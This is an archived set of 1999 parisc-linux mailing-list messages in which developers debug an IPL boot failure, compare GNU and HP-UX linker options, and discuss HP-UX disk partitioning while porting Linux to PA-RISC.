Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619629 11957 80.91.229.3 (22 Nov 2014 01:27:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:09 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: adevries@thepuffingroup.com  Fri Jun 11 02:50:12 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id CAA31567
	for <parisc-linux@puffin.external.hp.com>; Fri, 11 Jun 1999 02:50:11 -0600
Original-Received: (qmail 8286 invoked by uid 15267); 11 Jun 1999 08:49:38 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 8279 invoked from network); 11 Jun 1999 08:49:37 -0000
Original-Received: from cpu2753.adsl.bellglobal.com (HELO feather.thepuffingroup.com) (@207.236.55.222)
  by mailserv2.iuinc.com with SMTP; 11 Jun 1999 08:49:37 -0000
Original-Received: from thepuffingroup.com (IDENT:adevries@localhost [127.0.0.1])
	by feather.thepuffingroup.com (8.9.3/8.9.3) with ESMTP id EAA20079
	for <parisc-linux@thepuffingroup.com>; Fri, 11 Jun 1999 04:57:39 -0400
Original-Sender: adevries@feather.thepuffingroup.com
X-Mailer: Mozilla 4.51 [en] (X11; I; Linux 2.2.5-15 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:9505

Alex deVries wrote:
> 
> Okay, I've committed a couple of fixes to make the building of the
> bootable image go a bit smoother.  Thanks to John for his patch that
> doesn't require /dev/zero existing to create the sparse file.
> 
> And now it passes the LIF magic and checksum, and dies.  Here's a
> hand-typed copy of the console:
> 
> "
> Main Menu: Enter command > boot p2
> Interact with IPL (Y, N, or Cancel)?> n
> 
> Booting...
> Network Station Address 001039-037944
> System IP Address 192.168.1.56
> Server IP Address 192.168.1.52
> 
> Boot IO Dependant Code (IODC) revision 2
> 
> SOFT Booted.
> "
> 
> And then absolutely nothing.  

Okay, I'm a bit better off now.  I've at least located the problem.  I
copied the IPL straight out of Jason's binary, rebuilt, and it boots. 
The next task is to figure out why the cross compiled version of ipl is
broken, and how to fix it.

An immediate solution in my mind is just to distribute a binary version
of the ipl in the kernel tree...

The IPL can't seem to load and locate the kernel, but we'll get to this
later.

- Alex


From - Thu Nov 08 21:15:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeffrey A Law <law@cygnus.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] booting problems
Date: Fri, 11 Jun 1999 03:08:39 -0600
Lines: 20
Approved: news@gmane.org
Message-ID: <18273.929092119@upchuck.cygnus.com>
References: <3760CF80.887DA4C3@thepuffingroup.com>
Reply-To: law@cygnus.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619629 11959 80.91.229.3 (22 Nov 2014 01:27:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:09 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Alex deVries <adevries@thepuffingroup.com>
Original-X-From: law@upchuck.cygnus.com  Fri Jun 11 03:14:19 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id DAA31765
	for <parisc-linux@puffin.external.hp.com>; Fri, 11 Jun 1999 03:14:19 -0600
Original-Received: (qmail 10217 invoked by uid 15267); 11 Jun 1999 09:13:41 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 10176 invoked from network); 11 Jun 1999 09:13:09 -0000
Original-Received: from unknown (HELO upchuck.cygnus.com) (208.224.120.150)
  by mailserv2.iuinc.com with SMTP; 11 Jun 1999 09:13:09 -0000
Original-Received: from upchuck.cygnus.com (220@localhost [127.0.0.1])
	by upchuck.cygnus.com (8.8.7/8.8.7) with ESMTP id DAA18276;
	Fri, 11 Jun 1999 03:08:39 -0600
X-Mailer: exmh version 2.0.2
In-reply-to: Your message of Fri, 11 Jun 1999 04:57:36 EDT.
             <3760CF80.887DA4C3@thepuffingroup.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:9506


  In message <3760CF80.887DA4C3@thepuffingroup.com>you write:
  > Okay, I'm a bit better off now.  I've at least located the problem.  I
  > copied the IPL straight out of Jason's binary, rebuilt, and it boots. 
  > The next task is to figure out why the cross compiled version of ipl is
  > broken, and how to fix it.
It could well be an endianness problem in the ELF tools if that's what you
are using to build stuff.

While we did at one point try to squash them, we may have missed some --
over the long haul dos-x-hppa-elf did not turn out to be all that popular
of a host-x-target combination (what a surprise).

BTW, did I mention that probably the first thing your kernel should do is
start mucking around with the leds?  They're an awful primitive, but highly
valuable debugging tool.

jeff



From - Thu Nov 08 21:15:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] a question about HPUX's linker
Date: Fri, 11 Jun 1999 13:30:22 +0100 (BST)
Lines: 15
Approved: news@gmane.org
Message-ID: <E10sQRz-00035v-00@the-village.bc.nu>
References: <3760B67A.8D9F3B1F@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Content-Type: text
X-Trace: ger.gmane.org 1416619629 11963 80.91.229.3 (22 Nov 2014 01:27:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:09 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: adevries@thepuffingroup.com (Alex deVries)
Original-X-From: alan@lxorguk.ukuu.org.uk  Fri Jun 11 06:31:17 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id GAA32250
	for <parisc-linux@puffin.external.hp.com>; Fri, 11 Jun 1999 06:31:15 -0600
Original-Received: (qmail 28595 invoked by uid 15267); 11 Jun 1999 12:30:41 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 28585 invoked from network); 11 Jun 1999 12:30:39 -0000
Original-Received: from lightning.swansea.uk.linux.org (HELO the-village.bc.nu) (194.168.151.1)
  by mailserv2.iuinc.com with SMTP; 11 Jun 1999 12:30:39 -0000
Original-Received: from alan by the-village.bc.nu with local (Exim 2.12 #1)
	id 10sQRz-00035v-00; Fri, 11 Jun 1999 13:30:23 +0100
In-Reply-To: <3760B67A.8D9F3B1F@thepuffingroup.com> from "Alex deVries" at Jun 11, 99 03:10:50 am
Xref: news.gmane.org gmane.linux.ports.parisc:9507

> To help us get ahead, I'm trying to get the kernel to build properly
> with HPUX, using HPUX's linker, and gcc.

Ditto. You sorted head.S out ?

> Why does the final kernel link use --start-group ... --end-group?

To do looping resolution of symbols

> What's the equivalent syntax for HPUX's ld?

ld +n

(sort of, but sufficiently sort of)


From - Thu Nov 08 21:15:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Marcus Thiessel <marcus@xemacs.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] a question about HPUX's linker
Date: Fri, 11 Jun 1999 15:13:06 +0200 (METDST)
Lines: 12
Approved: news@gmane.org
Message-ID: <14177.2914.657912.54260@gargle.gargle.HOWL>
References: <3760B67A.8D9F3B1F@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (generated by tm-edit 7.108)
Content-Type: text/plain; charset=US-ASCII
X-Trace: ger.gmane.org 1416619630 11964 80.91.229.3 (22 Nov 2014 01:27:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:10 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: thiessel@bbn.hp.com  Fri Jun 11 07:13:12 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id HAA32435
	for <parisc-linux@puffin.external.hp.com>; Fri, 11 Jun 1999 07:13:11 -0600
Original-Received: (qmail 2757 invoked by uid 15267); 11 Jun 1999 13:12:37 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 2750 invoked from network); 11 Jun 1999 13:12:37 -0000
Original-Received: from atlrel2.hp.com (156.153.255.202)
  by mailserv2.iuinc.com with SMTP; 11 Jun 1999 13:12:37 -0000
Original-Received: from hpbbse.bbn.hp.com (root@hpbbse.bbn.hp.com [15.136.26.26])
	by atlrel2.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id JAA18695;
	Fri, 11 Jun 1999 09:13:00 -0400 (EDT)
Original-Received: from bbn.hp.com (tmbbwmt.bbn.hp.com [15.136.25.175]) by hpbbse.bbn.hp.com with ESMTP (8.8.6 (PHNE_14041)/8.7.3) id OAA25671; Fri, 11 Jun 1999 14:13:07 +0100 (MEZ)
Original-Received: (from thiessel@localhost)
	by bbn.hp.com (8.8.6 (PHNE_15509)/8.8.6) id PAA29753;
	Fri, 11 Jun 1999 15:13:06 +0200 (METDST)
In-Reply-To: <3760B67A.8D9F3B1F@thepuffingroup.com>
X-Mailer: VM 6.71 under 21.1 "20 Minutes to Nikko" XEmacs Lucid (patch 2)
X-Face: $Ni[2@rr#(N|NUCz5KIWbyoZAxlt%A0v\FN^6!ES@.B}HU9e_*
        9(r<jZ#<3-wN>uLWwCx'bZvjo<d!Gw1ZDpvyWz8F(2x%&~>KvMR
        #;;T1kZYsWEGnbkXl76=Eb%qdUBo7]:[AmX&RqthqAPcqSQ95n{
        fJBPEP{fXYYdGezPd7;=(g{*FDUw8!XB*EXNi@@x&Qi>~Ha'$V%`
X-Attribution: mt
Xref: news.gmane.org gmane.linux.ports.parisc:9508

Alex deVries writes:
| 
| What's the equivalent syntax for HPUX's ld?
| 
| I'm a bit short on docs in this area...
| 

The 'linker and library guide' is a little bit short on the advanced
stuff unfortunately.

--Marcus


From - Thu Nov 08 21:15:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Steven Pritchard <steve@osiris.silug.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] partitioning on HPUX
Date: Fri, 11 Jun 1999 08:54:27 -0500 (CDT)
Lines: 18
Approved: news@gmane.org
Message-ID: <199906111354.IAA25236@osiris.silug.org>
References: <3760AA7F.9B62952E@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619630 11966 80.91.229.3 (22 Nov 2014 01:27:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:10 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: adevries@thepuffingroup.com (Alex deVries)
Original-X-From: steve@osiris.silug.org  Fri Jun 11 07:54:21 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id HAA32641
	for <parisc-linux@puffin.external.hp.com>; Fri, 11 Jun 1999 07:54:20 -0600
Original-Received: (qmail 10137 invoked by uid 15267); 11 Jun 1999 13:53:46 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 10120 invoked from network); 11 Jun 1999 13:53:44 -0000
Original-Received: from gw.lanscape.net (HELO osiris.silug.org) (208.235.155.254)
  by mailserv2.iuinc.com with SMTP; 11 Jun 1999 13:53:44 -0000
Original-Received: (from steve@localhost)
	by osiris.silug.org (8.9.3/8.9.3) id IAA25236;
	Fri, 11 Jun 1999 08:54:28 -0500
In-Reply-To: <3760AA7F.9B62952E@thepuffingroup.com> from Alex deVries at "Jun 11, 99 02:19:43 am"
X-Mailer: ELM [version 2.4ME+ PL38 (25)]
Xref: news.gmane.org gmane.linux.ports.parisc:9509

Alex deVries said:
> Can anyone here describe how HPUX does partitioning?  We're going to
> have to look at this at some point for interoperability with HPUX
> filesystems.

As I understand it, HP-UX doesn't really do partitioning.  You have a
choice of either using a whole disk for a file system, or you can use
the logical volume manager.  From what I've seen, most of the people
who use LVM also use VxFS (or JFS, a journalling filesystem).  It
would probably be easiest then to just try to support HFS (HP's
version of UFS, I think) using a whole disk.

Steve
-- 
steve@silug.org           | Linux Users of Central Illinois
(217)698-1694             | Meetings the 4th Tuesday of every month
Steven Pritchard          | http://www.luci.org/ for more info


From - Thu Nov 08 21:15:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] booting problems
Date: Fri, 11 Jun 1999 10:06:03 -0400 (EDT)
Lines: 25
Approved: news@gmane.org
Message-ID: <199906111406.KAA01206@hiauly1.hia.nrc.ca>
References: <18273.929092119@upchuck.cygnus.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619630 11968 80.91.229.3 (22 Nov 2014 01:27:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:10 +0000 (UTC)
Cc: adevries@thepuffingroup.com, parisc-linux@thepuffingroup.com
To: law@cygnus.com
Original-X-From: dave@hiauly1.hia.nrc.ca  Fri Jun 11 08:06:08 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id IAA00368
	for <parisc-linux@puffin.external.hp.com>; Fri, 11 Jun 1999 08:06:08 -0600
Original-Received: (qmail 12455 invoked by uid 15267); 11 Jun 1999 14:05:34 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 12443 invoked from network); 11 Jun 1999 14:05:33 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.44.13)
  by mailserv2.iuinc.com with SMTP; 11 Jun 1999 14:05:33 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id KAA01206;
	Fri, 11 Jun 1999 10:06:03 -0400 (EDT)
In-Reply-To: <18273.929092119@upchuck.cygnus.com> from "Jeffrey A Law" at Jun 11, 99 03:08:39 am
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:9510

>   In message <3760CF80.887DA4C3@thepuffingroup.com>you write:
>   > Okay, I'm a bit better off now.  I've at least located the problem.  I
>   > copied the IPL straight out of Jason's binary, rebuilt, and it boots. 
>   > The next task is to figure out why the cross compiled version of ipl is
>   > broken, and how to fix it.
> It could well be an endianness problem in the ELF tools if that's what you
> are using to build stuff.

While there could be an endianness problem, I think it more likely that
it is how IPL is being linked and extracted into the LIF image.  Jason's
link options, "-R 0 -N", specified a text origin of 0 and data following
the text.  I think the default for ELF is to place the text at 0x1000 and
data at 0x40000000.  The gnu ld equivalent for "-R 0" would appear to
be "-Ttext 0".  I am not sure there is a direct equivalent for "-N".
Maybe, you could use "-Tdata" to set the data location.  Maps might be
useful to sort out what is going on.  Also, the SOM and ELF headers at the
beginning of each binary may differ in size.  When I tried "-Ttext 0",
the size of the ELF header seemed to change in size.  I think there
is info in the header about its size, etc.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:15:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Rich Rauenzahn" <rrauenza@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] partitioning on HPUX
Date: Fri, 11 Jun 1999 07:48:50 -0700
Lines: 20
Approved: news@gmane.org
Message-ID: <002f01beb419$84b9be20$e38f4b0f@cup.hp.com>
References: <3760AA7F.9B62952E@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619631 11972 80.91.229.3 (22 Nov 2014 01:27:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:11 +0000 (UTC)
To: "Alex deVries" <adevries@thepuffingroup.com>,
        <parisc-linux@thepuffingroup.com>
Original-X-From: rrauenza@cup.hp.com  Fri Jun 11 08:49:04 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id IAA00581
	for <parisc-linux@puffin.external.hp.com>; Fri, 11 Jun 1999 08:49:04 -0600
Original-Received: (qmail 21822 invoked by uid 15267); 11 Jun 1999 14:48:29 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 21812 invoked from network); 11 Jun 1999 14:48:28 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 11 Jun 1999 14:48:28 -0000
Original-Received: from hairball.cup.hp.com (hairball.cup.hp.com [15.14.120.25])
	by palrel3.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id HAA03410;
	Fri, 11 Jun 1999 07:48:53 -0700 (PDT)
Original-Received: from ce270154.cup.hp.com (ce270154.cup.hp.com [15.75.143.227]) by hairball.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS Messaging 5.0) id HAA10540; Fri, 11 Jun 1999 07:48:50 -0700 (PDT)
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2014.211
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2014.211
Xref: news.gmane.org gmane.linux.ports.parisc:9511

Are you talking about the logical volume manager (LVM) (similar to
Veritas's)?  That's the disk allocation scheme used most these days.

Rich

----- Original Message -----
From: Alex deVries <adevries@thepuffingroup.com>
To: <parisc-linux@thepuffingroup.com>
Sent: Thursday, June 10, 1999 11:19 PM
Subject: [parisc-linux] partitioning on HPUX


>
> Can anyone here describe how HPUX does partitioning?  We're going to
> have to look at this at some point for interoperability with HPUX
> filesystems.
>
> - Alex
>
> --------------------------------------------------------------------------

From - Thu Nov 08 21:15:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Rich Rauenzahn" <rrauenza@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] partitioning on HPUX
Date: Fri, 11 Jun 1999 07:54:11 -0700
Lines: 17
Approved: news@gmane.org
Message-ID: <004901beb41a$44148f20$e38f4b0f@cup.hp.com>
References: <199906111354.IAA25236@osiris.silug.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619631 11976 80.91.229.3 (22 Nov 2014 01:27:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:11 +0000 (UTC)
Cc: <parisc-linux@thepuffingroup.com>
To: "Steven Pritchard" <steve@osiris.silug.org>,
        "Alex deVries" <adevries@thepuffingroup.com>
Original-X-From: rrauenza@cup.hp.com  Fri Jun 11 08:54:19 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id IAA00738
	for <parisc-linux@puffin.external.hp.com>; Fri, 11 Jun 1999 08:54:18 -0600
Original-Received: (qmail 23002 invoked by uid 15267); 11 Jun 1999 14:53:43 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 22979 invoked from network); 11 Jun 1999 14:53:41 -0000
Original-Received: from atlrel2.hp.com (156.153.255.202)
  by mailserv2.iuinc.com with SMTP; 11 Jun 1999 14:53:41 -0000
Original-Received: from hairball.cup.hp.com (hairball.cup.hp.com [15.14.120.25])
	by atlrel2.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id KAA06491;
	Fri, 11 Jun 1999 10:54:04 -0400 (EDT)
Original-Received: from ce270154.cup.hp.com (ce270154.cup.hp.com [15.75.143.227]) by hairball.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS Messaging 5.0) id HAA10563; Fri, 11 Jun 1999 07:54:11 -0700 (PDT)
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2014.211
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2014.211
Xref: news.gmane.org gmane.linux.ports.parisc:9512

Yes -- I agree.  Most who use LVM will be using VxFS, so just onlu
supporting whole disk HFS for now is probably the best.

> As I understand it, HP-UX doesn't really do partitioning.  You have a
> choice of either using a whole disk for a file system, or you can use
> the logical volume manager.  From what I've seen, most of the people
> who use LVM also use VxFS (or JFS, a journalling filesystem).  It
> would probably be easiest then to just try to support HFS (HP's
> version of UFS, I think) using a whole disk.
>
> Steve
> --
> steve@silug.org           | Linux Users of Central Illinois
> (217)698-1694             | Meetings the 4th Tuesday of every month
> Steven Pritchard          | http://www.luci.org/ for more info



From - Thu Nov 08 21:15:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] partitioning on HPUX
Date: Fri, 11 Jun 1999 11:00:38 -0400 (EDT)
Lines: 20
Approved: news@gmane.org
Message-ID: <199906111500.LAA03888@hiauly1.hia.nrc.ca>
References: <199906111354.IAA25236@osiris.silug.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619631 11977 80.91.229.3 (22 Nov 2014 01:27:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:11 +0000 (UTC)
Cc: adevries@thepuffingroup.com, parisc-linux@thepuffingroup.com
To: steve@osiris.silug.org (Steven Pritchard)
Original-X-From: dave@hiauly1.hia.nrc.ca  Fri Jun 11 09:00:58 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id JAA00940
	for <parisc-linux@puffin.external.hp.com>; Fri, 11 Jun 1999 09:00:58 -0600
Original-Received: (qmail 24472 invoked by uid 15267); 11 Jun 1999 15:00:23 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 24456 invoked from network); 11 Jun 1999 15:00:20 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.44.13)
  by mailserv2.iuinc.com with SMTP; 11 Jun 1999 15:00:20 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id LAA03888;
	Fri, 11 Jun 1999 11:00:39 -0400 (EDT)
In-Reply-To: <199906111354.IAA25236@osiris.silug.org> from "Steven Pritchard" at Jun 11, 99 08:54:27 am
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:9513

> Alex deVries said:
> > Can anyone here describe how HPUX does partitioning?  We're going to
> > have to look at this at some point for interoperability with HPUX
> > filesystems.
> 
> As I understand it, HP-UX doesn't really do partitioning.  You have a
> choice of either using a whole disk for a file system, or you can use
> the logical volume manager.  From what I've seen, most of the people
> who use LVM also use VxFS (or JFS, a journalling filesystem).  It
> would probably be easiest then to just try to support HFS (HP's
> version of UFS, I think) using a whole disk.

On hpux 9.x and later (?), partitioning was supported using Software
Disk Striping (SDS).  See sdsadmin(1M).

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:15:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] a broken test kernel...
Date: Fri, 11 Jun 1999 12:46:11 -0400
Organization: The Puffin Group
Lines: 12
Approved: news@gmane.org
Message-ID: <37613D53.E5B625E8@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619632 11980 80.91.229.3 (22 Nov 2014 01:27:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:12 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: adevries@thepuffingroup.com  Fri Jun 11 10:38:41 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id KAA01693
	for <parisc-linux@puffin.external.hp.com>; Fri, 11 Jun 1999 10:38:40 -0600
Original-Received: (qmail 13460 invoked by uid 15267); 11 Jun 1999 16:38:05 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13453 invoked from network); 11 Jun 1999 16:38:05 -0000
Original-Received: from cpu2753.adsl.bellglobal.com (HELO feather.thepuffingroup.com) (@207.236.55.222)
  by mailserv2.iuinc.com with SMTP; 11 Jun 1999 16:38:05 -0000
Original-Received: from thepuffingroup.com (IDENT:adevries@localhost [127.0.0.1])
	by feather.thepuffingroup.com (8.9.3/8.9.3) with ESMTP id MAA22523
	for <parisc-linux@thepuffingroup.com>; Fri, 11 Jun 1999 12:46:13 -0400
Original-Sender: adevries@feather.thepuffingroup.com
X-Mailer: Mozilla 4.51 [en] (X11; I; Linux 2.2.5-15 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:9514


I've uploaded a test binary kernel so others can have a look at the
broken IPL.  It's at:

ftp://puffin.external.hp.com/pub/parisc/binaries/kernels/Image-19990611-1

This is known not to work, so there's no point in trying it unless you
want to throw it on a box to see the chassis codes, which I'm not yet
able to.

- Alex


From - Thu Nov 08 21:15:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] booting problems
Date: Fri, 11 Jun 1999 13:19:44 -0400
Organization: The Puffin Group
Lines: 36
Approved: news@gmane.org
Message-ID: <37614530.35570847@thepuffingroup.com>
References: <199906111406.KAA01206@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619632 11983 80.91.229.3 (22 Nov 2014 01:27:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:12 +0000 (UTC)
Cc: law@cygnus.com, parisc-linux@thepuffingroup.com
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: adevries@thepuffingroup.com  Fri Jun 11 11:12:32 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id LAA01903
	for <parisc-linux@puffin.external.hp.com>; Fri, 11 Jun 1999 11:12:32 -0600
Original-Received: (qmail 20500 invoked by uid 15267); 11 Jun 1999 17:11:57 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 20489 invoked from network); 11 Jun 1999 17:11:56 -0000
Original-Received: from cpu2753.adsl.bellglobal.com (HELO feather.thepuffingroup.com) (@207.236.55.222)
  by mailserv2.iuinc.com with SMTP; 11 Jun 1999 17:11:56 -0000
Original-Received: from thepuffingroup.com (IDENT:adevries@localhost [127.0.0.1])
	by feather.thepuffingroup.com (8.9.3/8.9.3) with ESMTP id NAA22555;
	Fri, 11 Jun 1999 13:19:44 -0400
Original-Sender: adevries@feather.thepuffingroup.com
X-Mailer: Mozilla 4.51 [en] (X11; I; Linux 2.2.5-15 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:9515

John David Anglin wrote:
> 
> >   In message <3760CF80.887DA4C3@thepuffingroup.com>you write:
> >   > Okay, I'm a bit better off now.  I've at least located the problem.  I
> >   > copied the IPL straight out of Jason's binary, rebuilt, and it boots.
